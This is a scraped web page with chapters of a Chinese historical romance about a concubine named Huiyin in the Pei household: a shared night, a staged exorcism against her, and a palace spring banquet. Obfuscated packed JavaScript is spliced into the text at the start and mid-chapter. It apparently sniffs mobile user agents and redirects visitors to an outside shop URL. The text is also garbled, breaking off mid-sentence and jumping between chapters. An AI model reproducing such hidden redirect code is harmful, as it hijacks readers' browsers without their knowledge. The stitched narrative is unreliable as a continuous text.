l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16381198|182964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门疑惑,衣裳都脱了,不做吗? 约莫过了一盏茶的时间,裴彧才起身,他没朝床侧的方向过来,而是穿着松松垮垮的里衣去开门。 徽音听见他吩咐宿风去准备水,他说他要沐浴。 她听见宿风开心的应答,离去脚步在地上踏出声响。 徽音再笨也想明白了,他根本就没有那方面的意思,不过是在做戏而已。既是做戏,却又不跟她明说,让她误会,就是故意看她笑话。 纵然她心里再如何告诫自己不要惹怒裴彧,此刻双脸也涨得通红,气愤从床上起身,瞪了眼一脸狭促望着她的裴彧,头也不回的离开。 那人还在身后笑道:“怎么走了,不再多躺会?” 徽音胡乱将散乱的头发拢在脑后,提着裙摆出屋,她颇为恼怒的回头骂道:“无耻!” 裴彧像是听到什么笑话一般,笑得直不起腰,竟显出几分罕见的,近乎孩子气的恣意。 “到底是谁无耻啊宋徽音,是谁在床上等着我。” 徽音这下是真的怒极,不再理会他,转身离开,正巧碰见提水进院的宿风。 宿风见她发丝散乱衣裳褶皱,忙不迭的低下头不敢再看。 徽音也瞧见他神色不对,她今日要是这般散乱着头发回去,只怕府内上上下下都是她被裴彧赶出门的流言。 她咬牙片刻,再度转身进屋,无论如何她今夜都不能走。 徽音不去看他那张讨人厌的脸,她仰头在床上,呈大字型张开双臂,将床榻占的死死的。 裴彧倚靠在门口,双手抱臂望着徽音的方向,兴趣盎然,“你自己误会了,反倒还怪上我了?” 徽音磨着牙,面朝里侧,不去理会他。她从没见过裴彧这样无耻的人,颠倒黑白、肆意戏弄、睚眦必报、臭不要脸…… 除了脸,一无是处的男人。 裴彧也不再嘲笑她,他低头嗅嗅了,在外忙碌了一天,身上到底是有些味道,他抬步去浴房洗漱。 徽音听见他离开后,后悔的将脑袋蒙进被褥里哀叫,她怎么就那么蠢,傻乎乎的被糊弄,面子里子都丢光了。 裴彧只怕在心中嘲笑她是□□。 徽音在床上滚作一团,鼻尖全是皂角的清香味,好闻的紧。 她躺了会,困意袭来,迷离迷糊的想着衣服都脱了,他还无动于衷,想必是真的有疾。 罢了,他有病,不与他计较…… 等到裴彧洗漱完回屋时,徽音已经熟睡过去。他坐到床边看着她的沉静睡颜,想起她方才气呼呼的模样,嘴角勾起笑。 他伸手捏捏徽音饱满的脸颊,触感柔软,爱不释手。 徽音被他弄醒,眸子还残留困倦,“怎么了? 裴彧推着她的胳膊,“过去点。” 徽音揉揉眼,翻了个身,给他留了个位置。 裴彧躺下去,双手垫在脑后,时辰尚早,他还没有睡意。他单腿翘起,眼不眨的盯着一旁熟睡的徽音。 过了一会儿,她似乎是觉得冷,身体不自觉的蜷缩在一起,手掌在床上胡乱的摸索。 裴彧捞过床角的被褥盖在她身上,徽音脑袋蹭蹭柔软的被褥,沉沉的睡去。 徽音睡相很好,给她被褥后她就乖乖缩在那里,一动不动。 这是裴彧第一次和女人同床共枕,感觉还不算太差。 她身上的玉兰香飘过来,与那夜在临水阁一模一样,搅得裴彧睡不安宁,心肺都开始躁动起来。 裴彧将头靠过去,视线从她的额头描绘到底,最后落在唇上。他定定的看了很久,强迫自己翻身背对着她。 良久,他听着身侧浅浅的呼吸声,渐渐也睡意袭来。 月光如水,悄无声息地漫过雕花窗棂,为榻上两道身影被镀上一层朦胧的清辉。 18. 第 18 章 秋棠院位置宽敞,是裴府内除正阳院最好的地方。院中种有一株百年棠梨树,春季时节,花团锦簇,芬香扑鼻。 里头漆木家具色泽鲜艳、屋内左侧间摆着一架绚丽的彩绘屏风将内室与外室分开,地板上铺设柔软的茵席、精巧的器物摆满箱柜。 贺佳莹扑在妆台上,凑近五菱铜镜仔仔细细的照着脸蛋,她脸上的伤逐渐消散,只剩最后一点疤痕。疏影跪坐在一旁替她通发,手下动作温柔。 贺佳莹看了一会,突然一把扔开手中的梳篦,愁眉苦脸的看着疏影,“姨母和表兄越来越看着宋徽音了,以后这府里怕是没我的位置了。” 疏影连忙安慰,“怎会,女君爱重女郎,这些时日送来的补品如流水。” 贺佳莹正要回话,屋外传来动静,婢女立在门口恭敬道:“女郎,张媪求见。” 她面带疑惑,“张媪是谁?” 疏影凑到她耳边细语:“就是那日您让人去宋娘子门前叫嚷挑衅的那个。” “她来干什么?”贺佳莹一脸没趣,懒洋洋的半躺在榻上,挥手让疏影出去打发人离开。她半眯着眼在榻上养神,疏影出屋后又进屋,“女郎,张媪说有要事求见,请您赏个面。” 贺佳莹换了个舒服的姿势,吩咐道:“让她进来罢。” 张媪进屋后不敢乱看,跪在榻前磕头行礼,“贺女郎安好。” 贺佳莹哼哼两声,不悦道:“安好?你哪只眼睛看见我安好了。” 张媪连连磕头几下,谄媚道:“都是那宋女的不是……” “好了!不要在我面前提她,你到底有何事?”贺佳莹不耐烦的睁开眼,打断张媪的话音。 张媪面露精光,她跪地膝行几步凑近贺佳莹耳语几句。 贺佳莹脸色凝结,斜着张媪,“这可要命的事!” 蔡媪猛的抬手拍着膝盖,提高声音:“我的女郎哟,你再不做点什么,就真的要被赶走了!” 贺佳莹起身下榻,在屋内来回踱步,张媪见她这副举棋不定的模样,再下一剂猛药,“奴婢方才听闻府内众人都在谈论,昨夜少将军已与宋女圆房。” 贺佳莹没有说话。 张媪再下一剂猛药,“奴婢还听说女君正在为您相看,要将您匆忙嫁出去!” “不可能!”贺佳莹回头怒道,声音惊着守在门外的疏影。 疏影抬手敲门,“女郎,怎么了?” 她等了许久无人应声,正准备推门而入时屋内发话了,“无事,你去灶房取点牛乳茶。” 疏影见她声音并无异样,应了声“诺”,转身离开。 屋内,贺佳莹紧盯中张媪,“此事交给你去办,务必周全,不能让人发现端倪!” 张媪坚定的点头,“娘子放心。”她惦着手中沉甸甸的金饼,满意的离开秋棠院。 —— 颜娘捧着洗净的衣裙放入橱柜中,她跪坐在地上整理,忽闻衣裳上的熏香味道有些奇怪,不似以往的香味。 她抱怨两句,又将整理好的衣裳全部抱出,打算叫人再去重新熏一下。 徽音注意到她的动静,她走近颜娘,“怎么了?” 颜娘吃力的抱着漆盘,“不知谁换了熏香,婢子去叫她们重新熏。” 她身形摇摇晃晃,面前堆高的衣裳阻了她的视线,莫说下楼梯,便是走路都困难。 徽音凑近衣裳细闻,确实换了熏香,她接过颜娘怀中的衣裳放进橱柜,“这味道挺好闻的,就这样吧。” 颜娘也跪坐过去,和徽音一同理衣闲聊:“方才正阳院来人递话,三日后要在府里做一场巫术祭祀,驱邪去灾。” 徽音疑问:“好端端的做什么法事?” “说了长安城里来了位德高望重的张方士,王公贵族们都争相请他到家中驱邪去祟。” 徽音起身走到屋外楼梯口,将阿桑唤上来询问:“听说府中要做法事,夫人一直信这个吗?” 阿桑回忆片刻后回道:“女君确实信这个,往常几年府内也请过几次。” 徽音点点头,没再问什么。 风平浪静的度过三日,到了法事这天,裴夫人早早便派人将徽音请去前堂,颜娘伺候徽音穿衣,挑了件素色宽袖曲裾,发分为双侧,从颈后集在一处挽髻垂至背后,再以玉簪插笄固定。 她到时,前堂木廊处全部被绘有二十八宿的灵旗围住,底部还坠有摇铃,院子地上用朱砂画着一个巨大的太极八卦图。 正中间摆着张漆木法桌,上头布满各式各样的法器,那名据说法力高强的张方士正稳稳跪在法案前的蒲团上,头戴冠帽,手持桃木符剑,口中闭目念念有词。 他身后聚着四个带着彩绘面具的青壮年,露出的上半身绘着人兽狮身像,互相搭肩弯腰聚成一团舞动,吟唱古老的驱邪咒语。 看见这副场景的徽音心中隐隐感到不适,默默站到闭眼祷告的裴夫人身后。 时下无论皇室贵族还是平民百姓都笃信巫术,在遭遇疾病、灾祸或不祥之兆时,常会请巫祝或者方士主持驱邪仪式,以求消灾解厄。 从徽音走进正堂后,贺佳莹便紧紧盯着她的身影,她掐着手心不忿的想着,宋徽音这不施脂粉的模样将在场所有人都比了下去。 明明穿着打扮极其素雅,偏偏配着她那张脸,气质清冷如同仙子降临。 她视线移到正中,看见那瘆人的法案后浑身一激灵,赶忙闭上眼不敢再看。 临近时辰,张方士起身绕着前堂走了一圈,视线扫过府内所有人,随后他站在中央开口:“请夫人和府内众人一同向天祷告,祷告结束后变开始除祟驱魔。” 众人听话的跪在蒲团上,向法案恭敬的磕了三个头,随后闭眼祷告。 徽音睁开眼环视一圈,身边的裴夫人和贺佳莹,以及一旁跪着的仆妇和颜娘,全部是一副祈诚模样,无比珍重的跪在蒲团上祷告。 她突然感觉有人在看自己,徽音抬头望去,是那张方士正紧紧的盯着她,眼神放肆。 她心中一跳,升起一股不好的预感。这周遭的一切突然像是变成牢笼将她束缚起来,让她无处可逃。 原来今日除的祟,要驱的魔,是她。 祷告结束后,那张方士就持着桃木符剑开始舞动,徽音站在裴夫人右侧,手中泛起汗,她想去找颜娘,让她赶紧去找裴彧报信。 可那张方士一直堵在三人的前方,她根本脱不开身。 不多时,张方士停下在案桌前,点燃朱砂黄咒扔在空中。符咒燃烧成灰烬后突然炸开,与此同时,灵旗下嵌着的四角摇铃急速的抖动起来。 “叮铃叮铃”声响彻前堂,众人都被这动静吓住,惊恐的望向四周。 裴夫人则是抱住瑟瑟发抖的贺佳莹焦急的问道:“张方士,这是怎么回事!” 张方士抚着胡须,高深莫测:“夫人,摇铃作响,这说明府上有邪祟作乱!” “邪祟,怎么会?”裴夫人一脸害怕。 张方士取过法案上的青铜铃,抬手安抚住裴夫人,“夫人莫怕,本天师此次进京为这邪祟而来,待我抓了她替府上除害。” “好好好,方士快将她除了!” 张方士举起手中的铃铛,环顾一圈道:“这是本派法器,它只会在碰见邪祟时作响,各位莫怕。” 他说完,举着那铜铃站到众人面前逐个的去试,那铜铃一直未曾响动,被试过的人都松了口气,聚在一起讨论那邪祟到底是谁。 徽音冷冷的注视张方士故弄玄虚的动作,今日一切都是冲她来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一直未曾说话的徽音这时走了出来,她扶起地上不停磕头的颜娘,重重的握了下她的手。 颜娘瞬间明白她的意思,退回原地,趁着众人不注意之际离开前堂。 徽音随后转身看着那张方士问道:“方士说我是邪祟,除了这铜铃可还有别的证据?” 张方士不悦了甩了下宽袖,提着那把剑逼向徽音,“此乃法器铜铃,驱祟利器,它便是铁证,还需何证据?” 徽音却指着铜铃道:“这铃是你带来的,也是你操作的,难保你不会动什么手脚。” “你这邪祟,竟敢质疑本方士。”张方士怒喝一声扔下手中木剑,转身拿起法案上漆耳杯,那耳杯中不知道盛放的是什么液体。 张方士冷笑道:“你既不见棺材不落泪,那本方士便当着众人的面叫你现形!” 他单手结印在胸前,举着耳杯念念有词,一把将杯中的液体淋在徽音素色衣裙上。 眨眼间,徽音衣裙陡然变色,周边萦绕着一股绿色焰火,可令人奇怪的是,那火焰却烧不掉她的衣服,也无法灼伤她。 众人见到着离奇的一幕纷纷叫嚷:“她果真是邪祟!” “怎么会有人不怕火!” 徽音看着身上熊熊燃烧的绿焰,下意识的后退几步,脸颊瞬间失去血色。 张方士带来的人手持木剑将她团团围住,口中不住的低语吟唱:“北斗在上,护我真形。逆吾者死,顺吾者生。急急如律令!” 她抬起头,脑中一片空白,明明是春日里,却仿佛置身冰天雪地,全身上下都爬上寒意。 20-30 第21章 徽音的前未婚夫婿 三月三, 上巳春宴。 曲江碧水东流,江面浮着一层薄纱雾气,城东的灞水江畔笼罩一层盈盈青绿。浅滩上, 彩衣宫婢已设下层层青幄,微风拂过, 露出内里铺设的蒲席与漆案。 右侧的岸边,长长的青幄纱帐连成长龙,每隔十步立着一个配刀的精锐甲兵,重兵把守的最前方赤金绛纱里, 坐着南朝最尊贵的帝后。 贵戚的华盖安车都被拦在曲江口,接受士兵的检验和搜查, 裴夫人已好转不少, 仍然不能下地,贺佳莹自告奋勇在府内侍疾, 只有徽音和裴彧坐在马车内。 徽音撩起车帘,曲江口众多的华盖马车都由宫令安排停在了后侧的空草地了,有太子仪仗,吴王和鲁王的车架,傅阳长公主府的马车, 还有外戚平氏, 郑氏以及琅琊王氏和苏家。 马车停住不动, 车外声音突然变得嘈杂起来, 外面有人恭敬的请裴彧下车。两人对视一眼, 裴彧整理下衣着率先下了马车, 徽音跟在他身后。 她扶着脚踏准备抬步,已下了马车的裴彧突然回头看着她,向她伸出手臂。徽音迟疑一下, 抬手搭在他手腕处,提着不便裙摆下车。 立时便有人拥上来,你一言我一语的恭维裴彧。她静静的站在裴彧身后,微垂着头,旁边有人认出她,指着徽音道:“这不是宋女郎吗?” 议论纷纷的人群瞬间安静下来,在场所有人的目光都投在徽音身上,她掐着手心努力让自己的表情平静下来。 裴彧不动声色的拦在徽音面前,挑眉看向叫破徽音身份的人,眉间上挑,“鲁王好眼力。” 鲁王暧昧的笑笑:“裴将军果然利害,我说这大美人怎么突然没了消息呢,原来是叫你藏起来了啊。” 他话音里的意思让徽音觉得恶心,裴彧不理会吴王,抬手唤来旁边等候的宫婢,吩咐道:“带着她去见皇后。” 徽音看了他一眼,跟着婢女转身离去,走离很远后还能听见他们的调笑,无非是在谈论裴彧如何拿下她以及一些淫语词调。 宫婢将她一路带到明黄纱帐前,将她交给皇后身边的婢女阿荞,阿荞带笑的迎上来和,以往宫宴两人见过几面,还算熟络。 阿荞引着徽音进帐,帐中陈设华贵,青玉案上摆着博山炉,烧着的苏合香,清香淡雅。 两名宫娥跪坐在锦席上,手捧朱漆盘,盘中的棠棣花娇艳欲滴,带着晨露。 裴皇后穿着金绣鸾纹的深青曲裾,高髻挽起,妆容雍容典雅。她面容明艳,嘴角微微上扬,凝望着徽音。 她身边还跪坐一华服少女,清纯灵动,眉眼可爱。 徽音抬手跪拜下去:“妾请皇后陛下万安,睢阳公主安。” 裴皇后示意阿荞扶起徽音,语气温和的让她坐下,“许久没见你了,如今可好?” “妾一切都好。” “坐近些让予瞧瞧。” 徽音起身,身后的阿荞将锦席移至青玉案前,徽音小步移过去坐下,与裴后距离极近,近到她都能看见裴后眼角上的细纹。 睢阳公主赵央则是一脸亲近的靠在徽音肩上,睁着猫儿似的琥珀眼撒娇,轻嗅徽音身上的淡香,抱着她的手臂轻摇:“徽音阿姊,我好想你。” 徽音伸手摸摸睢阳的脸蛋,宋家未覆灭时,她时常出入宫廷,与睢阳相熟,小公主是帝后的幼女,自幼千娇百宠长大,性子却极好,可爱亲和,无半分娇纵。 阿父出事时,裴后屡次上书替阿父陈冤,施以援手,阿母病重,裴后也命太医令去给阿母看过病,徽音很感激她的恩情。 裴后拉着徽音的手,仔细的端详她的面容,问道:“裴府的日子不好过吧?” 徽音答:“裴府众人待妾很好。” 裴皇抬手捂唇失笑,笑声清脆如二八少女,她摇摇头,指着徽音道:“连你也会说假话了。” 徽音尴尬的低下头,那要她如何说,说裴府上下没一个好东西,她要真这么说裴后立马就能让人将她打出去。 袖中有人勾着她的小指,徽音低头望去,睢阳亮晶晶的望着她,眼底带着安慰,她心中一暖,面上也带起笑。 裴后:“旁的予不管,予就想知道你和彧儿如何?”其实她更想问的是何时能诞下鳞儿,让她体验一把抱儿孙的感觉。 徽音期期艾艾的开口:“裴……少将军待我极好……” 裴后追问,一脸兴致勃勃:“他如何待你的?” 徽音绞尽脑汁。 “他待我关怀备至。”从没拿正眼瞧过她,视她为无物。 “待我极为温和。”霸占床铺,让她睡地板。 “事事为我出头。”没有偏帮也算是出头了。 裴后似乎听的极为趣味,她本来属意的就是将徽音许给裴彧,私下问过裴彧的意思,结果裴彧那小子一口回绝婚事,说什么不喜。 她只得退而其次,撮合徽音和太子,没想到阴差阳错,两人居然凑成一对了。 裴后非拉着徽音述说细节,幸好大长秋姚兰及时出现,吉时将到,她要替皇后整理仪容,再去与陛下汇合一同祭天。 姚兰指派一名宫婢将徽音送到女席上,两人才走出皇后金帐不远,迎头撞上一个不速之客。 正是先前出言无状的鲁王。当今陛下育有四子二女,太子与睢阳公主为裴后所出,吴王和广陵公主乃盛宠的郑妃娘娘所出,鲁王生母王娘娘已逝,还有一个幼子是肖娘娘所出。 太子为长,吴王得宠,独鲁王不上不下,无母家扶持,又品性低下,喜好风月,不得陛下喜爱。以往徽音遇上他都会被调戏两句,何况今时今日。 那宫婢也知道不好,急忙带着徽音绕路离开。但无济于事,鲁王已经看见两人,带着两名青衣太监拦住两人。 垂柳池畔,此处靠近皇后帷帐,距离宾客席较远,只能依稀看见那边聚在一起的人影。守卫的兵士倒是注意到这边的动静,只是略略看了一眼,又低下头装作未曾看见。 鲁王实际也才十七岁,可他久经风月,酷爱饮酒,年纪轻轻就身形浮肿,面有痘疮。配上一副色眯眯的模样,缩肩耷眉的搓着手,真是有够恶心的。 徽音拉着领路的宫婢嫌恶后退两步,趁鲁王等人还未围过来,快步朝皇后帷帐跑去。未料鲁王早就知道她的打算,抢先一步抓住了徽音的手臂。 鲁王一脸得意:“跑,你再跑啊。” 徽音努力挣脱不过,只能言语威胁:“鲁王殿下,此处靠近皇后帐帷,你莫乱来。” 鲁王什么都听不进去,他很久之前就开始惦记宋徽音了,长的跟仙女似的,气质清冷,连皱眉发怒的模样都极好看。每次见到她都心痒难耐,好不容易美人落他手中,他说什么都不会放过这个机会。 “裴彧能你给,本殿下都能给,你让我亲一口,我就放开你。”鲁王撅着嘴凑近徽音,一股酒臭扑面而来,徽音看着他凑近的脸,思附该不该掴下去。 “三皇弟,还不快住手!”一道气急的声音传来。 徽音和鲁王同时看去,就见太子怒气冲冲,一副被绿的模样冲到两人面前。对着鲁王指指点点,然后一把拉下他抓住徽音的手,将徽音护在身后。 太子怒喝,指着鲁王:“你好大胆子。” 鲁王才不怕太子,他这个皇兄说好听点是敦厚和善,说难听点就是老好人,耳根子软,谁都能冒犯两下。他撇嘴一脸无趣:太子皇兄,你急什么,宋徽音跟你有什么关系?” “你……”太子顿住,“她现在是裴彧的人,你敢动我表兄的人就与孤有关!” 鲁王听到裴彧的名字也正色起来,他不怕太子,但他怕太子身后的裴后和裴家。五年前,裴擎战死,人人都以为裴家要就此落败,不曾想裴彧竟然扛起裴家军的大旗,履立战功。 五年前,裴彧还未参军时,武力更是一绝,力压重人,每次鲁王冒犯过太子后,裴彧都会摸黑将他痛打一顿,专挑看不见的地方下手,尾巴抹的干干净净,叫他几天下不了榻。 更何况如今裴彧正当盛宠,他不敢开罪,想到此处,鲁王冷哼一声甩袖离去。 太子松了口气,转身看着徽音,他觉得颇为尴尬,宋徽音算是他前任未婚妻,现在又成了他表兄的妾,他实在不知道该说些什么。 徽音打破沉默,俯身行礼:“多谢太子殿下援手。” 太子回道:“举手之劳罢了,不算什么。” 徽音抬眼望向太子,发觉他气色较之前好了很多,她从前因着裴后的关系也与太子见过面,两人关系不远不近,只比陌生人好一点。 她努力找着话题:“殿下近来气色好了很多,有什么喜事吗?” 太子小心翼翼道:“孤定亲了,苏家女孤很满意她。” 徽音发自内心的替苏静好感到高兴,后退一步,恭恭敬敬的给太子行了一个大礼:“静好蕙质兰心,贞静娴雅,望殿下日后好生待她。妾在此祝殿下与静好结秦晋之好,鸾凤和鸣。” 太子惊讶:“你不介意?” 徽音失笑:“妾为何介意,静好乃妾最好的朋友,妾惟愿她余生顺遂,得一真心之人相待。” 裴彧跟着宫婢的指引一路走到垂柳湖泊,绿意地上,青纱垂下,少男少女相对,面带浅笑,微风拂起两人衣摆,好一副情意绵绵的春日踏青图。 原来宋徽音是对太子旧情难忘,用他做跳板,蓄意接近太子。 真是个情深义重的痴情女子。 —— 徽音抵达女席时,已经到了不少人,此刻都聚在郑妃娘娘处闲聊,其中有不少人徽音都很眼熟。她不想引起动静,挑了个位置靠后的座位靠过去。 青纱帐连成一片遮阳,正东方向设立尊位,下首两侧排开,置左右宾席,朱漆矮案,茵草锦席。 徽音方落座,隔壁桌的圆脸夫人便一直盯着她瞧,她疑心那夫人认识她,转头朝她微笑。 下一刻,圆脸夫人就凑上前来,摸着徽音身上的料子眼红道:“你这衣料是锦吧。” 徽音松了口气,她也不曾见过这位夫人,应是宗室家的新妇,她悄悄撤回袖子,小声开口:“不是,是纺的。” 圆脸夫人露出一副果然如此的表情,她上下打量着徽音酸溜溜道:“你也是刚来长安吧,长得真漂亮,这肌肤白嫩的哟,平日里都是怎么保养的,跟我说说呗。” “平日里米浆洁面,配以辛夷面脂和白芷粉。” 圆脸夫人还要拉着徽音细问,门口突然传来一声通报:“廷尉苏公之女苏女郎到。” 帐内众人纷纷朝外望去,率先映入眼帘一只嵌着东珠的锦履,紧接露出的是穗枝纹绣丝绸袍,再往上瞧,便是一张铅华艳浓,金玉盈鬓的芙蓉面。 苏静好缓步走到正前方,珠钗未动半分,行云流水的朝郑娘娘和诸位夫人见礼。 郑娘娘端起酒杯抿了一口,不动声色的和平阳侯夫人交换眼色,平阳侯夫人立马笑道:“静好,你可算来了,大家都在等你了。” 苏静好面色沉静,跟着宫婢的指引落座:“夫人说笑了,皇后未至,宾席不开,何来等我一说。” 人群安静一瞬,苏静好被赐婚给了太子,而平阳侯府又是吴王的外家,吴王野心勃勃,与太子之间早晚一战,双方是众人皆知的面和心不和。 平阳侯夫人面上笑意变淡,落下酒盏一言不发,搬出皇后,她还能如何说。 上头的交锋徽音自然是听不见,圆脸夫人瞧着苏静好一脸艳羡:“这苏女真是好命,有个好父亲,又嫁了个好夫君,不像我家那个扶不上墙的。” 她说完郁闷的举起酒杯一饮而尽,又看见徽音一脸淡然的模样,心中不禁嫉妒起来:“方才瞧你长得不错,可这苏女郎一来你就被比下去了。” 徽音赞同道:“她确实很美。” 圆脸夫人:“……” “你可知她是何人?她未来夫婿可是太子!” 徽音瞧见她一脸急色,应合两句安抚她:“太子啊,那真是很好了。” 圆脸夫人心满意足的露出笑容,“听闻这位苏女郎最喜收藏异石,早知道我就将家中那几块破石头带上了。” 徽音抬头看了眼坐在郑娘娘下方的的苏静好,皇后未至,郑娘娘就是宴席上最尊贵的人,身边此刻围满了人群,正举着漆酒杯一一寒暄。 她望着身旁的圆脸夫人,心中有了想法。徽音悄悄取下腰间佩戴的琥珀石,不动声色的放在圆脸夫人案边。 不出她所料,圆脸夫人瞧见玉石并未声张,而是偷偷藏于袖中,满脸偷色,心虚的垂下头。 徽音起身离开席位,青纱帐外侍候的宫婢见状上前询问,“夫人想去何处?” “有些闷,可有透风的地方?” “回夫人,沿着廊桥直行便是湖畔。” 婢女听见头上应了一声,身前的紫影转身离去,她裙尾曳地,身姿袅娜,比旁的夫人都要生的好看。 女席内,圆脸夫人趁着众人不注意之时挤到席前,她面上谄媚,掏出方才捡到的玉石双手捧到苏静好面前,“听闻苏女郎喜欢玉石,这物是我偶然所得,还望苏女郎笑纳。” 苏静好苏静好面色温柔,并未伸手去取那玉石,嘴角带笑的谢道:“夫人好意静好心领了,就不夺人所好了。” 圆脸夫人笑意僵住,她夫婿只是宗室不起眼的一个子弟,好不容易有机会在贵人面前露脸,她又怎会轻易放弃。 思及此处,她厚着脸皮凑上前,将手中捧着的玉石怼到苏静好眼下。 “苏女郎,这玉石本就是为你所寻,不算割爱,你就收下了吧。” 她动作实在冒犯,身后跪坐的黛青见状正要出声斥责,却见她家女郎在触及到那块玉石后面色大变,竟失礼的夺过那玉石细细查看。 黛青定睛看去,玉石通身粉润,形状酷似花瓣,尾部流苏坠子异常眼熟。 这东西,分明是她家女郎送给宋女郎之物!应该随宋女郎去了荆州,怎会在此处。 苏静好将玉石翻来覆去细看,确定这就是她送给徽音的那块,面前的夫人正期许的看着她,她确定这张脸她不曾见过,也不曾听徽音提起过有这号人。 她心中泛起焦色,面上却丝毫不显的试探,“夫人这玉石是何处所得?” 圆脸夫人一心沉浸在攀附上贵人的愉悦中,没有察觉到不对,她扯谎道:“是在路上随手所捡。” 苏静好敛了笑容,给身后的黛青递了个眼神,又朝圆脸夫人笑道:“此处人多,夫人随我去屏风后一叙。” 黛青扶着苏静好起身,弯下腰替她整理褶皱的裙摆和鬓发,凑到苏静好耳边细语:“女郎放心,这处有我。” 苏静好点点头,示意身后的圆脸夫人跟上,两人一前一后进了宽扇屏风后,有人发现苏静好行踪,正要上前察看,却被黛青挡了回去,“我家女郎去后头整理一下仪容。” 进入屏风后,苏静好神色突变,举着玉石坠子逼近圆脸夫人,“你撒谎!这坠子完好无损,连流苏都未脏乱,分明是被人悉心爱护。你究竟是从何处所得!” 圆脸夫人本不理解苏静好为何突然变脸,听到她拆穿自己的谎话后慌乱片刻,又强迫自己镇定下来狡辩道:“苏女郎,你误会了,这坠子是我事后串上……” “还在撒谎!这坠子是我亲手所串送给友人的,你究竟是从何处所得,是不是你偷的?” 苏静好上前一步打断她的辩解,她举着玉石坠子冷脸道:“你若再不从实招来,我即刻将你扭送廷尉!” 圆脸夫人瞬间慌了神,结结巴巴道:“我……不是偷的……真的是我捡的。” 她话音刚落,就见苏静好脸上浮起冷笑,与方才温柔娴雅的模样大相径庭。 她顿时脚步发软,抬手指着尾部角落的座位哭丧着脸:“我是在那里捡的,这东西应该是方才坐在那的夫人遗落,真不是我偷的。” 苏静好顺着她指的方向望去,那里空无一人,只剩垂下的帷帐轻轻摇晃。她问:“她长什么模样?” “极是貌美,叫人一见难以忘怀。” 苏静好盯了她片刻,确认她没再撒谎后抬步离去,只剩那夫人捂着胸口后怕的呆在原地。 她径直出了女席,询问候立的宫婢,“可曾见过有容色极好的夫人,她往何处去了?” 婢女抬手遥遥指向远处湖畔,恭敬答道:“回苏女郎,那位夫人去了湖畔。” 苏静好沿着碎石道一路向东,临近开席的时辰,只有零零散散的几个女客,见了她都上来见礼,她心中担忧徽音,只草草的点头额首,脚步不停。 越往里走越不见人影,光影绰绰,她背上已经泛起薄汗。她脚步停在一处湖畔处,脚下是奔腾的曲江水,带起一阵凉风。 苏静好环顾一圈,并未看见熟悉的人影,心下不免有些失望。 正准备抬步回宴席上时,身后传来一声呼唤,“静好。” 她欣喜转身回望,徽音站在不远处,静静的望着她。苏静好再也顾不上许多,提着繁复的裙摆小跑至徽音面前,头上珠钗叮当,她却不再去管什么礼仪,一心只有徽音。 她喘着气停在徽音面前,伸手握住她的手臂,一脸焦急:“徽音,你没事吧,我还以为你遇险了。” 徽音取出帕子擦拭她额头的细汗,轻轻摇头:“我无事,我是故意引你出来的。” 她从袖中掏出一支白玉雕青雀鸟簪,塞给苏静好,莞尔道:“我今日是来还债的,你拿着。” 这是裴夫人送她的那些首饰里挑出来的,当时一眼就瞧上了,很配苏静好。 苏静好接过发簪,眼底浮起疑惑:“你怎会出现在此处,你不是着人给我送口信说要回荆州吗?” 徽音垂下眼,涩然道:“我带着景川离开长安,路路上被人所阻,景川为救我坠崖,死生不知。” “什么?”苏静好面露惊愕,她握着徽音的手臂,“是谁?” 徽音想起那日,胸口泛起密密麻麻的疼痛,好半天才找回自己的声音,“是苏信。” 苏信?苏静好连连后退两步,眼中蒙上水雾,她想伸手抱住徽音,又不知如何安慰,她浅泣道:“对不住徽音,我不知他会去找你,是我没有约束好他。” “与你有什么干系,他与你并非同母,素日与你不和。你本就在家中履步为艰,如何能管得了他?”徽音摇摇头,反安慰苏静好。 苏静好再也忍不住,上前将徽音抱在怀中,轻轻抚摸她的背脊安慰。 徽音静静靠在她怀中,苏静好身上的熏香飘入鼻尖,如同幼时两人依偎着取暖一般,令人无比安心,她轻轻靠在她肩上,感受片刻的宁静。 半响,苏静好松开徽音,关怀道:“你现在住在何处,可还安全?” 徽音神色不自然的回答:“我……住在裴府,如今是裴彧的……妾。” 她不想在苏静好脸上看见同样鄙夷的眼神,遂转过身背对苏静好不再开口。 只是下一刻,背上贴上一具柔软香盈的身体,她听见苏静好怜惜的声音,“是不是裴彧逼迫的你,我去求太子,让他放你了。” 徽音不知该如何形容内心的感受,早已冰封心底悄然裂开,心中酸涩散至四肢百骸,堵在胸口发不出声。 她眼眶泛红,死死的抿着唇瓣。 “徽音,莫怕,我会帮你的。”苏静好捧着徽音的脸颊,心疼之色溢于言表。 徽音忍着泪摇头,“裴彧并未逼我,是我自愿的,我要留在长安。” “好好好,莫哭了,不管你想做什么,只管来找我,我永远在你身后。” 细碎的脚步传来,二人整理衣裙分开望着来人,婢女停在廊下不远处,望着两名泪痕残留的佳人,不明白发生了什么。 苏静好率先问道:“何事?” “回苏女郎,即将开席,大长秋吩咐奴婢唤您过去。” 苏静好点头,“我知道了,你先下去。” —— 巳时正,皇后至。 华盖如云霞的凤辇缓缓停于青纱帐席外,两侧宫婢执尾扇站在两侧,皇后着金绣鸾纹的深青曲裾,高髻挽上插着十二钿钗,腰束玉带,仪态万方。 众人皆起身站在中央,排成队列跪地行礼:“皇后殿下万安。” 裴后眉目沉静,唇色艳丽,仪态端庄,抬手轻吟:“起。” 她身后的大长秋姚兰,一身玄色曲裾,绣鸾鸟纹,神色肃穆,高声唱道:“奏乐,开席。” 乐声渐起。两侧青玉曲裾婢女低眉趋步,无声的穿梭在漆案几间。最前列的宫婢双手托漆案,行至宾客前,屈膝半跪,将酒器轻置于案,动作整齐划一。 舞女皆着彩色窄袖襦裙,臂系飘带,随乐舞蹈,长袖交横,翩跹不绝。钟鼓之音渐起丝竹并用,曲调带着楚地特色,偏爱羽调式,婉转曲折。 案几上的美食已经摆满,丝丝香味钻进徽音鼻尖,早上出府匆忙,她只随便用了点烤饼垫垫肚子。 徽音执了筷,挑着桌上的鱼笋白肉羹就着栗饭用了起来。 